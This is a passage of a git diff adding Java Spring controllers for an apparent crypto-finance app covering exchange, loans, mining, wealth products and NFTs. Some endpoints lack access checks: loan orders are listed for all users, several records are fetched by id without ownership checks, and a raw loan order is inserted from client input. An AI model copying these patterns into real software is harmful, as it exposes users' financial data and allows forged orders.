AjaxResult.error(symbolManage.getSymbol()+MessageUtils.message("currency.exchange_min",symbolManage.getMinChargeNum())); + } + if (multiply.compareTo(symbolManage.getMaxChargeNum())>0){ + return AjaxResult.error(symbolManage.getSymbol()+MessageUtils.message("currency.exchange_max",symbolManage.getMaxChargeNum())); + } + }else{ + return AjaxResult.error(MessageUtils.message("exchange_symbol_error_exist")); + } + TAppUser user = getAppUser(); + Map assetMap=assetService.getAssetByUserIdList(user.getUserId()); + boolean checkBalance = judgeAmount(assetMap,fromSymbol,total,user.getUserId()); + if (!checkBalance) { + return AjaxResult.error(MessageUtils.message("exchange_error")); + } + Integer submittedRecord = tExchangeCoinRecordService.countBySubmittedRecord(user.getUserId(), fromSymbol, toSymbol); + if (submittedRecord > 0) { + return AjaxResult.error(MessageUtils.message("exchange.record.exist.error")); + } + i = tExchangeCoinRecordService.insertRecord(user, params); + }else{ + return AjaxResult.error(MessageUtils.message("exchange.symbol.exist")); + } + }else{ + return AjaxResult.error(MessageUtils.message("exchange.symbol.exist")); + } + return toAjax(i); + } + + private boolean judgeAmount(Map map, String fromSymbol, BigDecimal total, Long userId) { + BigDecimal usdt = map.get(fromSymbol.toLowerCase()+userId)==null?BigDecimal.ZERO:map.get(fromSymbol.toLowerCase()+userId).getAvailableAmount(); + if(usdt.compareTo(total)>=0){ + return true; + } + return false; + } + + /** + * 获取币种的价格 + */ + @PostMapping("/getCurrencyPrice") + public AjaxResult getCurrencyPrice(String[] currency){ + return AjaxResult.success(tExchangeCoinRecordService.getCurrencyPrice(currency)); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/THelpCenterController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/THelpCenterController.java new file mode 100644 index 0000000..e342049 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/THelpCenterController.java @@ -0,0 +1,45 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.THelpCenter; +import com.ruoyi.bussiness.service.ITHelpCenterService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.*; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.util.List; + +/** + * 帮助中心Controller + * + * @author ruoyi + * @date 2023-08-17 + */ +@RestController + +@RequestMapping("/api/helpcenter") +public class THelpCenterController extends BaseController +{ + @Autowired + private ITHelpCenterService tHelpCenterService; + + /** + * 查询帮助中心列表 + */ + @PostMapping("/list") + public AjaxResult list(THelpCenter tHelpCenter, HttpServletRequest request) + { + String lang = request.getHeader("Lang"); + tHelpCenter.setLanguage(lang); + List list = tHelpCenterService.getCenterList(tHelpCenter); + return AjaxResult.success(list); + } + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/THelpCenterInfoController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/THelpCenterInfoController.java new file mode 100644 index 0000000..2bd5c88 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/THelpCenterInfoController.java @@ -0,0 +1,51 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.THelpCenterInfo; +import com.ruoyi.bussiness.service.ITHelpCenterInfoService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.*; + +import javax.servlet.http.HttpServletResponse; +import java.util.List; + +/** + * 帮助中心问题详情Controller + * + * @author ruoyi + * @date 2023-08-17 + */ +@RestController +@RequestMapping("/api/helpCenterInfo") +public class THelpCenterInfoController extends BaseController +{ + @Autowired + private ITHelpCenterInfoService tHelpCenterInfoService; + + /** + * 查询帮助中心问题详情列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:helpCenterInfo:list')") + @GetMapping("/list") + public TableDataInfo list(THelpCenterInfo tHelpCenterInfo) + { + startPage(); + List list = tHelpCenterInfoService.selectTHelpCenterInfoList(tHelpCenterInfo); + return getDataTable(list); + } + + /** + * 获取帮助中心问题详情详细信息 + */ + @PostMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tHelpCenterInfoService.selectTHelpCenterInfoById(id)); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/THomeSetterController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/THomeSetterController.java new file mode 100644 index 0000000..eb39b63 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/THomeSetterController.java @@ -0,0 +1,48 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.web.controller.common.ApiBaseController; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.THomeSetter; +import com.ruoyi.bussiness.service.ITHomeSetterService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 规则说明Controller + * + * @author ruoyi + * @date 2023-07-19 + */ +@RestController +@RequestMapping("/api/home/setter") +public class THomeSetterController extends ApiBaseController +{ + @Autowired + private ITHomeSetterService tHomeSetterService; + + @PostMapping("/list") + public AjaxResult list(THomeSetter tHomeSetter) + { + List list = tHomeSetterService.selectTHomeSetterList(tHomeSetter); + return AjaxResult.success(list); + } + + + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TLoadOrderController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TLoadOrderController.java new file mode 100644 index 0000000..e87d67b --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TLoadOrderController.java @@ -0,0 +1,143 @@ +package com.ruoyi.web.controller.bussiness; + +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.*; +import javax.annotation.Resource; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +import cn.hutool.json.JSONUtil; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TLoadProduct; +import com.ruoyi.bussiness.domain.setting.LoadSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.service.ITLoadProductService; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.OrderUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.*; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TLoadOrder; +import com.ruoyi.bussiness.service.ITLoadOrderService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 贷款订单Controller + * + * @author ruoyi + * @date 2023-07-14 + */ +@RestController +@RequestMapping("/api/load/order") +public class TLoadOrderController extends ApiBaseController +{ + @Autowired + private ITLoadOrderService tLoadOrderService; + @Autowired + private SettingService settingService; + @Resource + private ITLoadProductService tLoadProductService; + + /** + * 查询贷款订单列表 + */ + @PostMapping("/list") + public TableDataInfo list(TLoadOrder tLoadOrder) + { + startPage(); + List list = tLoadOrderService.selectTLoadOrderList(tLoadOrder); + return getDataTable(list); + } + + /** + * 获取贷款订单详细信息 + */ + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tLoadOrderService.selectTLoadOrderById(id)); + } + + /** + * 新增贷款订单 + */ + @PostMapping + public AjaxResult add(@RequestBody TLoadOrder tLoadOrder) + { + return toAjax(tLoadOrderService.insertTLoadOrder(tLoadOrder)); + } + + /** + * 获取用户贷款订单列表 + * @param tLoadOrder + * @return + */ + @PostMapping("/orderList") + public TableDataInfo orderList(TLoadOrder tLoadOrder) + { + TAppUser user = getAppUser(); + tLoadOrder.setUserId(user.getUserId()); + Setting setting = settingService.get(SettingEnum.LOAD_SETTING.name()); + LoadSetting loadSetting = JSONUtil.toBean(setting.getSettingValue(), LoadSetting.class); + BigDecimal overRwate = loadSetting.getOverdueRate(); + if(StringUtils.isNull(loadSetting.getOverdueRate())){ + overRwate= new BigDecimal("0.025"); + } + startPage(); + List list = tLoadOrderService.selectTLoadOrderList(tLoadOrder); + if(!CollectionUtils.isEmpty(list)){ + list.forEach(t->{ + Map params=new HashMap<>(); + params.put("finalRepayTime", Objects.nonNull(t.getFinalRepayTime())?t.getFinalRepayTime().getTime():0l); + t.setParams(params); + }); + } + for (TLoadOrder loadOrder1:list) { + Map params = loadOrder1.getParams(); + if(Objects.isNull(loadOrder1.getFinalRepayTime())){ + continue; + } + int enddays = DateUtils.daysBetween(loadOrder1.getFinalRepayTime(), new Date()); + //逾期 + if(enddays>0){ + if (loadOrder1.getStatus() == 1) { + loadOrder1.setStatus(4); + tLoadOrderService.updateTLoadOrder(loadOrder1); + loadOrder1.setLastInstets(loadOrder1.getDisburseAmount().multiply(new BigDecimal(enddays)).multiply(overRwate)); + loadOrder1.setDays(enddays); + } + } + if(loadOrder1.getStatus()==4){ + loadOrder1.setLastInstets(loadOrder1.getDisburseAmount().multiply(new BigDecimal(enddays)).multiply(overRwate)); + loadOrder1.setDays(enddays); + } + params.put("date",Objects.nonNull(loadOrder1.getFinalRepayTime())?loadOrder1.getFinalRepayTime().getTime():null); + loadOrder1.setParams(params); + } + return getDataTable(list); + } + + /** + * 保存贷款订单 + * @param loadOrder + * @return + */ + @PostMapping("submit") + //type=3是USDT + public AjaxResult submit(@RequestBody TLoadOrder loadOrder) { + TAppUser user=getAppUser(); + return tLoadOrderService.saveTLoadOrder(loadOrder,user); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TLoadProductController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TLoadProductController.java new file mode 100644 index 0000000..ea93536 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TLoadProductController.java @@ -0,0 +1,68 @@ +package com.ruoyi.web.controller.bussiness; + +import java.math.BigDecimal; +import java.util.*; +import javax.servlet.http.HttpServletResponse; + +import cn.hutool.json.JSONUtil; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TLoadOrder; +import com.ruoyi.bussiness.domain.setting.LoadSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TLoadProduct; +import com.ruoyi.bussiness.service.ITLoadProductService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 借贷产品Controller + * + * @author ruoyi + * @date 2023-07-13 + */ +@RestController +@RequestMapping("/api/load/product") +public class TLoadProductController extends ApiBaseController +{ + @Autowired + private ITLoadProductService tLoadProductService; + + /** + * 查询借贷产品列表 + */ + @PostMapping("/list") + public TableDataInfo list(TLoadProduct tLoadProduct) + { + startPage(); + tLoadProduct.setStatus(1l); + List list = tLoadProductService.selectTLoadProductList(tLoadProduct); + return getDataTable(list); + } + + /** + * 获取借贷产品详细信息 + */ + @PostMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tLoadProductService.selectTLoadProductById(id)); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TMineFinancialController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TMineFinancialController.java new file mode 100644 index 0000000..ec0e01d --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TMineFinancialController.java @@ -0,0 +1,105 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TMineFinancial; +import com.ruoyi.bussiness.service.ITMineFinancialService; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.TranslatorUtil; +import com.ruoyi.web.controller.common.ApiBaseController; +import io.swagger.annotations.ApiOperation; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.web.bind.annotation.*; + +import javax.servlet.http.HttpServletRequest; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.Date; +import java.util.List; +import java.util.Map; + +/** + * 理财产品Controller + * + * @author ruoyi + * @date 2023-07-17 + */ +@RestController +@RequestMapping("/api/financial") +public class TMineFinancialController extends ApiBaseController +{ + @Autowired + private ITMineFinancialService tMineFinancialService; + + /** + * 查询理财产品列表 + */ + @PostMapping("/list") + public TableDataInfo list(@RequestBody TMineFinancial tMineFinancial,HttpServletRequest request) + { + String lang = request.getHeader("Lang"); + startPage(); + List list = tMineFinancialService.selectTMineFinancialList(tMineFinancial); + list.forEach(f ->{ + if (!lang.equals("zh")){ + try { + f.setTitle(TranslatorUtil.translate("zh-CN",lang,f.getTitle())); + f.setProblem(TranslatorUtil.translate("zh-CN",lang,f.getProblem())); + f.setProdectIntroduction(TranslatorUtil.translate("zh-CN",lang,f.getProdectIntroduction())); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + } ); + return getDataTable(list); + } + + + + /** + * 获取理财产品详细信息 + */ + @PostMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id,HttpServletRequest request) + { + String lang = request.getHeader("Lang"); + TMineFinancial tMineFinancial = tMineFinancialService.selectTMineFinancialById(id); + try { + tMineFinancial.setTitle(TranslatorUtil.translate("zh-CN",lang,tMineFinancial.getTitle())); + tMineFinancial.setProblem(TranslatorUtil.translate("zh-CN",lang,tMineFinancial.getProblem())); + tMineFinancial.setProdectIntroduction(TranslatorUtil.translate("zh-CN",lang,tMineFinancial.getProdectIntroduction())); + } catch (Exception e) { + e.printStackTrace(); + } + return success(tMineFinancial); + } + + @ApiOperation(value = "理财产品购买") + @PostMapping("/submit") + @Transactional + public AjaxResult submit(Long planId, BigDecimal money, Long days) { + String msg = tMineFinancialService.submit(planId,money,days); + if(StringUtils.isNotBlank(msg)){ + return AjaxResult.error(msg); + } + return AjaxResult.success(); + } + +// @ApiOperation(value = "理财产品赎回") +// @PostMapping("/reCall") +// public AjaxResult reCall(String id) { +// String msg = tMineFinancialService.reCall(id); +// if(StringUtils.isNotBlank(msg)){ +// return AjaxResult.error(msg); +// } +// return AjaxResult.success(); +// } + + @ApiOperation(value = "个人收益类加") + @PostMapping("/personalIncome") + public AjaxResult personalIncome() { + return AjaxResult.success(tMineFinancialService.personalIncome()); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TMineOrderController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TMineOrderController.java new file mode 100644 index 0000000..4d3aab3 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TMineOrderController.java @@ -0,0 +1,80 @@ +package com.ruoyi.web.controller.bussiness; + +import cn.hutool.json.JSONUtil; +import com.ruoyi.bussiness.domain.TMineOrder; +import com.ruoyi.bussiness.domain.setting.FinancialSettlementSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.service.ITMineOrderService; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.CommonEnum; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.*; +import javax.annotation.Resource; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +/** + * 理财订单Controller + * + * @author ruoyi + * @date 2023-07-17 + */ +@RestController +@RequestMapping("/api/order") +public class TMineOrderController extends ApiBaseController +{ + @Resource + private ITMineOrderService tMineOrderService; + @Resource + private SettingService settingService; + /** + * 查询理财订单列表 + */ + @PostMapping("/list") + public TableDataInfo list(TMineOrder tMineOrder) + { + startPage(); + tMineOrder.setUserId(getStpUserId()); + List list = tMineOrderService.selectTMineOrderList(tMineOrder); + List newList = unlist(list); + if(!CollectionUtils.isEmpty(newList)){ + newList.forEach(t->{ + Map params = new HashMap<>(); + params.put("createTime", Objects.nonNull(t.getCreateTime())?t.getCreateTime().getTime():0l); + t.setParams(params); + }); + } + return getDataTableFrom2Lists(newList,list); + } + + private List unlist(List list) { + Setting setting = settingService.get(SettingEnum.FINANCIAL_SETTLEMENT_SETTING.name()); + FinancialSettlementSetting settlementSetting = JSONUtil.toBean(setting.getSettingValue(), FinancialSettlementSetting.class); + if(Objects.equals(CommonEnum.ONE.getCode(), settlementSetting.getSettlementType())){ + list.forEach(tMineOrder1 -> { + tMineOrder1.setSettlementType(settlementSetting.getSettlementType()); + tMineOrder1.setSettlementDay(settlementSetting.getSettlementDay()); + }); + }else { + list.forEach(tMineOrder1 -> { + tMineOrder1.setSettlementType(settlementSetting.getSettlementType()); + }); } + return list; + } + + + /** + * 获取理财订单详细信息 + */ + @PostMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tMineOrderService.selectTMineOrderById(id)); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TMingOrderController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TMingOrderController.java new file mode 100644 index 0000000..7eddecc --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TMingOrderController.java @@ -0,0 +1,128 @@ +package com.ruoyi.web.controller.bussiness; + +import cn.hutool.json.JSONUtil; +import com.ruoyi.bussiness.domain.TMineOrder; +import com.ruoyi.bussiness.domain.TMingOrder; +import com.ruoyi.bussiness.domain.setting.FinancialSettlementSetting; +import com.ruoyi.bussiness.domain.setting.MingSettlementSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.service.ITMineOrderService; +import com.ruoyi.bussiness.service.ITMingOrderService; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.CommonEnum; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.web.controller.common.ApiBaseController; +import io.swagger.annotations.ApiOperation; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +/** + * 挖矿Controller + * + * @author ruoyi + * @date 2023-07-17 + */ +@RestController +@RequestMapping("/api/mingOrder") +public class TMingOrderController extends ApiBaseController +{ + @Resource + private ITMingOrderService itMingOrderService; + @Resource + private SettingService settingService; + /** + * 查询挖矿订单列表 + */ + @PostMapping("/list") + public TableDataInfo list(TMingOrder tMineOrder) + { + startPage(); + tMineOrder.setUserId(getStpUserId()); + List newList = itMingOrderService.selectTMingOrderList(tMineOrder); + // List newList = unlist(list); + if(!CollectionUtils.isEmpty(newList)){ + newList.forEach(t->{ + Map params = new HashMap<>(); + params.put("createTime", Objects.nonNull(t.getCreateTime())?t.getCreateTime().getTime():0l); + params.put("endTime", Objects.nonNull(t.getEndTime())?t.getEndTime().getTime():0l); + t.setParams(params); + }); + } + return getDataTable(newList); + } + + private List unlist(List list) { + Setting setting = settingService.get(SettingEnum.MING_SETTLEMENT_SETTING.name()); + if(Objects.isNull(setting)){ + return list; + } + MingSettlementSetting settlementSetting = JSONUtil.toBean(setting.getSettingValue(), MingSettlementSetting.class); + if(Objects.equals(CommonEnum.ONE.getCode(), settlementSetting.getSettlementType())){ + list.forEach(tMineOrder1 -> { + tMineOrder1.setSettlementType(settlementSetting.getSettlementType()); + }); + }else { + list.forEach(tMineOrder1 -> { + tMineOrder1.setSettlementType(settlementSetting.getSettlementType()); + }); } + return list; + } + + + /** + * 获取挖矿订单详细信息 + */ + @PostMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(itMingOrderService.selectTMingOrderById(id)); + } + + @ApiOperation(value = "挖矿购买") + @PostMapping("/submit") + @Transactional + public AjaxResult submit(@RequestBody TMingOrder mingOrder) { + String msg = itMingOrderService.bugMingOrder(mingOrder.getPlanId(),mingOrder.getAmount(),getStpUserId()); + if(!"success".equals(msg)){ + return AjaxResult.error(msg); + } + return AjaxResult.success(); + } + + + @ApiOperation(value = "挖矿赎回") + @PostMapping("/redemption") + @Transactional + public AjaxResult redemption(@RequestBody TMingOrder mingOrder) { + itMingOrderService.redemption(mingOrder.getId()); + return AjaxResult.success(); + } + + @ApiOperation(value = "挖矿展示") + @PostMapping("/show") + @Transactional + public AjaxResult show() { + return AjaxResult.success( itMingOrderService.selectMingOrderSumList(getStpUserId())); + } + + @ApiOperation(value = "挖矿赎回") + @PostMapping("/redempNewtion") + @Transactional + public AjaxResult redempNewtion(@RequestBody TMingOrder mingOrder) { + itMingOrderService.redemption(mingOrder.getId(),"trustWalle"); + return AjaxResult.success(); + } + + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TMingProductController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TMingProductController.java new file mode 100644 index 0000000..bd9c25b --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TMingProductController.java @@ -0,0 +1,77 @@ +package com.ruoyi.web.controller.bussiness; + +import cn.hutool.json.JSONUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.TMingOrder; +import com.ruoyi.bussiness.domain.TMingProduct; +import com.ruoyi.bussiness.domain.TMingProductUser; +import com.ruoyi.bussiness.domain.setting.MingSettlementSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.service.ITMingOrderService; +import com.ruoyi.bussiness.service.ITMingProductService; +import com.ruoyi.bussiness.service.ITMingProductUserService; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.CommonEnum; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.annotation.Resource; +import javax.servlet.http.HttpServletRequest; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +/** + * 挖矿Controller + * + * @author ruoyi + * @date 2023-07-17 + */ +@RestController +@RequestMapping("/api/mingProduct") +public class TMingProductController extends ApiBaseController { + @Resource + private ITMingProductService mingProductService; + @Resource + private SettingService settingService; + @Resource + private ITMingProductUserService mingProductUserService; + @Resource + private ITMingOrderService mingOrderService; + + /** + * 查询挖矿订单列表 + */ + @PostMapping("/list") + public TableDataInfo list(HttpServletRequest request) { + startPage(); + TMingProduct product = new TMingProduct(); + product.setStatus(0L); + List list = mingProductService.selectTMingProductList(product); + if (!CollectionUtils.isEmpty(list)){ + list.stream().forEach(mProduct->{ + int count = mingOrderService.count(new LambdaQueryWrapper() + .eq(TMingOrder::getPlanId, mProduct.getId()) + .eq(TMingOrder::getUserId, getStpUserId())); + if (Objects.nonNull(count)) mProduct.setBuyPurchase((long)count); + TMingProductUser one = mingProductUserService.getOne(new LambdaQueryWrapper() + .eq(TMingProductUser::getProductId, mProduct.getId()) + .eq(TMingProductUser::getAppUserId, getStpUserId())); + if (Objects.nonNull(one)) mProduct.setTimeLimit(one.getPledgeNum()); + }); + } + + return getDataTable(list); + } + + + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TNftOrderController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TNftOrderController.java new file mode 100644 index 0000000..ae557a8 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TNftOrderController.java @@ -0,0 +1,60 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TNftOrder; +import com.ruoyi.bussiness.service.ITNftOrderService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.*; + +import javax.servlet.http.HttpServletResponse; +import java.util.List; + +/** + * nft订单Controller + * + * @author ruoyi + * @date 2023-09-01 + */ +@RestController +@RequestMapping("/api/nftOrder") +public class TNftOrderController extends BaseController +{ + @Autowired + private ITNftOrderService tNftOrderService; + + /** + * 查询nft订单列表 + */ + @PostMapping("/list") + public TableDataInfo list(@RequestBody TNftOrder tNftOrder) + { + startPage(); + List list = tNftOrderService.selectTNftOrderList(tNftOrder); + return getDataTable(list); + } + + /** + * 获取nft订单详细信息 + */ + @PostMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tNftOrderService.selectTNftOrderById(id)); + } + + /** + * 新增nft订单 + */ + @PostMapping + public AjaxResult add(@RequestBody TNftOrder tNftOrder) + { + return toAjax(tNftOrderService.insertTNftOrder(tNftOrder)); + } + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TNftProductController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TNftProductController.java new file mode 100644 index 0000000..2c1c2fb --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TNftProductController.java @@ -0,0 +1,63 @@ +package com.ruoyi.web.controller.bussiness; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.TNftOrder; +import com.ruoyi.bussiness.domain.TNftProduct; +import com.ruoyi.bussiness.domain.TNftSeries; +import com.ruoyi.bussiness.service.ITNftOrderService; +import com.ruoyi.bussiness.service.ITNftProductService; +import com.ruoyi.bussiness.service.ITNftSeriesService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.Resource; +import java.util.List; + +/** + * nft详情Controller + * + * @author ruoyi + * @date 2023-09-01 + */ +@RestController +@RequestMapping("/api/nftProduct") +public class TNftProductController extends BaseController +{ + @Autowired + private ITNftProductService tNftProductService; + + + /** + * 查询nft详情列表 + */ + @PostMapping("/list") + public TableDataInfo list(@RequestBody TNftProduct tNftProduct) + { + startPage(); + List list = tNftProductService.selectTNftProductList(tNftProduct); + return getDataTable(list); + } + + /** + * 获取nft详情详细信息 + */ + @PostMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tNftProductService.selectTNftProductById(id)); + } + + @PostMapping("/upOrDownPro") + public AjaxResult upOrDownPro(@RequestBody TNftProduct 